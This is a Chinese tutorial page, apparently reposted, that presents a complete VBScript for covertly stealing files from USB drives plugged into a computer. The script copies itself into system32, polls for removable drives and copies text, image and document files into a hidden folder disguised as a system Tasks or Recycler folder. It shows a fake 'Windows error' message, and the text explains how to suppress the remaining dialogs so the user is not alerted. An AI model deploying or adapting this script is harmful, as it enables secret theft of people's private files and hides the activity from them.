iis服务器助手广告广告
返回顶部
首页 > 资讯 > 精选 >VBS如何实现自动复制U盘文件
  • 624
分享到

VBS如何实现自动复制U盘文件

2023-06-08 09:06:47 624人浏览 八月长安
摘要

小编给大家分享一下VBS如何实现自动复制U盘文件,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!以下为演示: 一、设置 右键单击,选择编辑 oStr = "

小编给大家分享一下VBS如何实现自动复制U盘文件,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

以下为演示:
一、设置
右键单击,选择编辑
oStr = "txt|jpg|doc" '你要窃取的文件类型,可以自行添加,用“|”隔开
oDistPath = "C:\\windows\\system\\" '保存路径
oFolderName = "Task" '保存文件夹名称
oType = 0 '将保存的文件夹进行伪装 1为task文件夹,2为recycler文件夹,0为不伪装
oOut = 1 '1复制完毕后退出,0复制完毕后不退出,继续循环
VBS如何实现自动复制U盘文件
二、保存后运行
会出现安装成功对话框,如果不希望出现该对话框,可以将“Msgbox "安装成功"”注释掉。
VBS如何实现自动复制U盘文件
此时脚本已经在循环监测U盘的插入
VBS如何实现自动复制U盘文件
三、插入U盘
U盘插入后,就开始文件的复制。复制完成后会出现提示对话框。
如果不希望出现该对话框,可以将 “Msgbox "Windows 错误",64”注释掉
VBS如何实现自动复制U盘文件
四、寻找文件
此时,文件已经在目标文件夹中。我将oType 设置为1,所以该文件夹成了task文件夹,此时双击打开是看不到其中的文件的。
VBS如何实现自动复制U盘文件
这种情况可以通过rar压缩包浏览,将其中的desktop.ini文件删除,文件夹就会变成普通文件夹。
 VBS如何实现自动复制U盘文件ww
这时就能打开文件夹看到其中的内容。


VBS如何实现自动复制U盘文件


Copy.log记录的是原文件及复制后的文件。
VBS如何实现自动复制U盘文件
vbs代码

复制代码 代码如下:


oStr = "txt|jpg|doc" '文件类型,添加文件类型用“|”隔开
oDistPath = "C:\\windows\\system\\" '保存路径
oFolderName = "Task" '保存文件夹名称
oType = 1 '1为task文件夹,2为recycler文件夹,0为不隐藏
oOut = 1 '1复制完毕后退出,0复制完毕后不退出,继续循环
'By:白开 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目录,先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安装成功"
end if


Set fso=nothing
Set wshell=nothing



'遍历目录函数
Function TreeIt(sPath)
Set oFolder = fso.GetFolder(sPath)
Set oSubFolders = oFolder.Subfolders

Set oFiles = oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder = Nothing
Set oSubFolders = Nothing

End Function

'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext = fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

以上是“VBS如何实现自动复制U盘文件”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注编程网精选频道!

--结束END--

本文标题: VBS如何实现自动复制U盘文件

本文链接: https://www.lsjlt.com/news/253581.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • VBS如何实现自动复制U盘文件
    小编给大家分享一下VBS如何实现自动复制U盘文件,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!以下为演示: 一、设置 右键单击,选择编辑 oStr = "...
    99+
    2023-06-08
  • vbs如何自动复制U盘的内容
    这篇文章主要介绍了vbs如何自动复制U盘的内容,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。思路很简单,高层的东西没什么技术含量,引用几个函数或方法就行了。开始我用的是批处理...
    99+
    2023-06-08
  • vbs如何实现复制文件的脚本
    这篇文章将为大家详细讲解有关vbs如何实现复制文件的脚本,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。复制代码 代码如下:parentfolder = "c:\" sourcefile...
    99+
    2023-06-08
  • vbs怎么实现复制文件夹
    这篇文章主要介绍“vbs怎么实现复制文件夹”,在日常操作中,相信很多人在vbs怎么实现复制文件夹问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”vbs怎么实现复制文件夹”的疑惑有所帮助!接下来,请跟着小编一起来...
    99+
    2023-06-08
  • vbs如何实现文件夹定时自动备份
    小编给大家分享一下vbs如何实现文件夹定时自动备份,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!代码如下:' Do While 1 Run() '...
    99+
    2023-06-08
  • 如何自制u盘装win11
    这篇文章主要介绍“如何自制u盘装win11”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“如何自制u盘装win11”文章能帮助大家解决问题。首先,准备一台能用的电脑、一个至少8GB的u盘。然后用微pe...
    99+
    2023-07-02
  • windows U盘启动盘如何制作
    这篇文章主要讲解了“windows U盘启动盘如何制作”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“windows U盘启动盘如何制作”吧!U盘启动盘制作方法:用户们先将自己准备好的U盘插入...
    99+
    2023-07-01
  • vbs如何实现只复制比目标文件更新的文件
    这篇文章将为大家详细讲解有关vbs如何实现只复制比目标文件更新的文件,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。因为网站需要频繁的更新首页,有时候使用cdn经常导致首页正在生成内容的时候同步数据(可能是...
    99+
    2023-06-08
  • u盘如何制作win7启动盘
    u盘启动盘可以说是解决电脑问题的最好办法,u盘启动盘系统也算是一种高度精简化的操作系统,能够依托光盘或者u盘启动,访问硬盘、对硬盘格式化等等。今天就为大家介绍一下u盘如何制作win7启动盘的方法了。一、准备工作1、准备一个8g以上的u盘(U...
    99+
    2023-07-10
  • windows文件过大不能复制到u盘如何解决
    今天小编给大家分享一下windows文件过大不能复制到u盘如何解决的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。文件过大不能...
    99+
    2023-07-02
  • win7如何制作一个U盘启动盘
    这篇文章主要讲解了“win7如何制作一个U盘启动盘”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“win7如何制作一个U盘启动盘”吧!制作一个U盘启动盘,这里以U盘装机大师为例。保持U盘与电脑...
    99+
    2023-07-01
  • 非uefi启动u盘如何制作
    电脑上系统有uefi启动和非uefi启动二种方式,相匹配的要想u盘重装系统时,也需制作适合方式的启动盘.有朋友想掌握非uefi启动u盘如何制作,下边就教下大伙儿制作非uefi启动u盘的方式.先在自身的电脑下载一个小白一键重装系统手机软件,下...
    99+
    2023-07-12
  • 如何使用vbs复制自身
    这篇文章主要介绍了如何使用vbs复制自身,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。复制自身到c盘的huan.vbs ASP/Visual Basic代码 代码如...
    99+
    2023-06-08
  • 电脑u盘删除的文件如何恢复
    这篇文章主要介绍“电脑u盘删除的文件如何恢复”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“电脑u盘删除的文件如何恢复”文章能帮助大家解决问题。电脑u盘删除的文件恢复方法:首先在电脑下载360安全卫士...
    99+
    2023-07-01
  • VBS如何调用WMI实现搜索硬盘mp3文件
    这篇文章给大家分享的是有关VBS如何调用WMI实现搜索硬盘mp3文件的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。 代码如下:strComputer = "." Set objWMI...
    99+
    2023-06-08
  • Linux如何修复U盘驱动器
    这篇“Linux如何修复U盘驱动器”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Linux如何修复U盘驱动器”文章吧。使用f...
    99+
    2023-06-28
  • 如何使用vbs实现自动删除超过10天的文件及文件夹
    小编给大家分享一下如何使用vbs实现自动删除超过10天的文件及文件夹,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!复制代码 代码如下:option explici...
    99+
    2023-06-08
  • VBS如何实现自动登录论坛
    这篇文章将为大家详细讲解有关VBS如何实现自动登录论坛,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。代码如下:on error resume nexturl = " http://www.bat...
    99+
    2023-06-08
  • Linux下如何修复U盘驱动器
    这篇文章将为大家详细讲解有关Linux下如何修复U盘驱动器,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。U 盘想必在大家的日常生活和工作中都已经不可或缺了,它让我们的文件维护和转移更加方便容易。但随着频繁...
    99+
    2023-06-27
  • 如何使用vbs实现恢复暂停的自动启动服务
    这篇文章主要为大家展示了“如何使用vbs实现恢复暂停的自动启动服务”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“如何使用vbs实现恢复暂停的自动启动服务”这篇文章吧。strComputer&nb...
    99+
    2023-06-08
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作